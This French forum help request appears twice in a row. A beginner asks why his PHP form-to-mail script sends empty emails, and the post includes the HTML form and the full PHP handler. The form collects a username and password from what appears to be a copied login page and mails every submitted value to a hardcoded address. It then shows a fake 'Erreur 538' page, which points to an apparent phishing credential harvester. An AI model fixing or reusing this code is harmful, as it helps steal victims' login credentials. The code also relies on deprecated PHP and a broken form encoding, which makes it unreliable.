Bonjour,
Je souhaite envoyer des informations à mon adresse mail. Pour celà j'ai créé une page html avec le code :
Code : Tout sélectionner
<FORM action="form2mail.php" method=post enctype="text/plain" NAME="Fiche_inscription">
puis un peut plus loin le code du premier champ à envoyer :
Code : Tout sélectionner
<input type ="text" name="Identifiant" value="" style="width: 175px;">
ensuite celui du deuxième champs à envoyer :
Code : Tout sélectionner
<input type="password" name="Mot de passe" size=16 style="width: 175px;">
et enfin un bouton appelant une page php dont le code est :
Code : Tout sélectionner
<input name="SUBMIT" type="image" class="button" style="width: 100px; height: 40px;" tabindex="3" value="SUBMIT" src="A%20trier%202/login_fichiers/pixel.gif" border="0">
et voici le code de ma page php :
<?php
$dest="[email protected]";
// on recupere les infos
$referer= getenv("HTTP_REFERER");
$ok=1;
if($ok){
// envoi du resultat par email
$sujet= "Form2Mail de ".$referer;
$body.="Page d'origine : $referer\n";
$body.="\n*** Valeurs resultats ***\n";
if(count($HTTP_POST_VARS)){
while (list($key, $val) = each($HTTP_POST_VARS)){
$body.="$key : $val\n";
}
}
if(count($HTTP_GET_VARS)){
while (list($key, $val) = each($HTTP_GET_VARS)){
$body.="$key : $val\n";
}
}
$body.="*************************\n";
if(!mail($dest,$sujet,$body)){
print "erreur envoi email <br>";
}
// affiche le html qui suit si succes
?>
<html>
<head><title>Erreur 538</title>
<style type="text/css">
<!--
.Style1 {font-family: Arial, Helvetica, sans-serif}
-->
</style>
</head>
<body>
<span class="Style1"> Gagné</a> .</span>
</body>
</html>
<?php
}
// affiche le html qui suit si erreur
//
else{
?>
<html>
<head><title>Erreur de formulaire</title></head>
<body>
<span class="Style1"> Erreur de formulaire
</body>
</html>
<?php
}
?>
Mon problème est que lorsque quelqu'un remplit les champs et met envoyer, je reçoi un email mais vide.
Je vous en prie, je suis débutant en php et je cherche à résoudre ce problème depuis plusieurs semaines, quelqu'un pourrait-il m'aider.
Merci encore.
Nephylio[/code]
Bonjour,
Je souhaite envoyer des informations à mon adresse mail. Pour celà j'ai créé une page html avec le code :
[code]<FORM action="form2mail.php" method=post enctype="text/plain" NAME="Fiche_inscription">[/code]
puis un peut plus loin le code du premier champ à envoyer :
[code]<input type ="text" name="Identifiant" value="" style="width: 175px;">[/code]
ensuite celui du deuxième champs à envoyer :
[code]<input type="password" name="Mot de passe" size=16 style="width: 175px;">[/code]
et enfin un bouton appelant une page php dont le code est :
[code]<input name="SUBMIT" type="image" class="button" style="width: 100px; height: 40px;" tabindex="3" value="SUBMIT" src="A%20trier%202/login_fichiers/pixel.gif" border="0">[/code]
et voici le code de ma page php :
[php]<?php
$dest="
[email protected]";
// on recupere les infos
$referer= getenv("HTTP_REFERER");
$ok=1;
if($ok){
// envoi du resultat par email
$sujet= "Form2Mail de ".$referer;
$body.="Page d'origine : $referer\n";
$body.="\n*** Valeurs resultats ***\n";
if(count($HTTP_POST_VARS)){
while (list($key, $val) = each($HTTP_POST_VARS)){
$body.="$key : $val\n";
}
}
if(count($HTTP_GET_VARS)){
while (list($key, $val) = each($HTTP_GET_VARS)){
$body.="$key : $val\n";
}
}
$body.="*************************\n";
if(!mail($dest,$sujet,$body)){
print "erreur envoi email <br>";
}
// affiche le html qui suit si succes
?>
<html>
<head><title>Erreur 538</title>
<style type="text/css">
<!--
.Style1 {font-family: Arial, Helvetica, sans-serif}
-->
</style>
</head>
<body>
<span class="Style1"> Gagné</a> .</span>
</body>
</html>
<?php
}
// affiche le html qui suit si erreur
//
else{
?>
<html>
<head><title>Erreur de formulaire</title></head>
<body>
<span class="Style1"> Erreur de formulaire
</body>
</html>
<?php
}
?>[/php]
Mon problème est que lorsque quelqu'un remplit les champs et met envoyer, je reçoi un email mais vide.
Je vous en prie, je suis débutant en php et je cherche à résoudre ce problème depuis plusieurs semaines, quelqu'un pourrait-il m'aider.
Merci encore.
Nephylio[/code]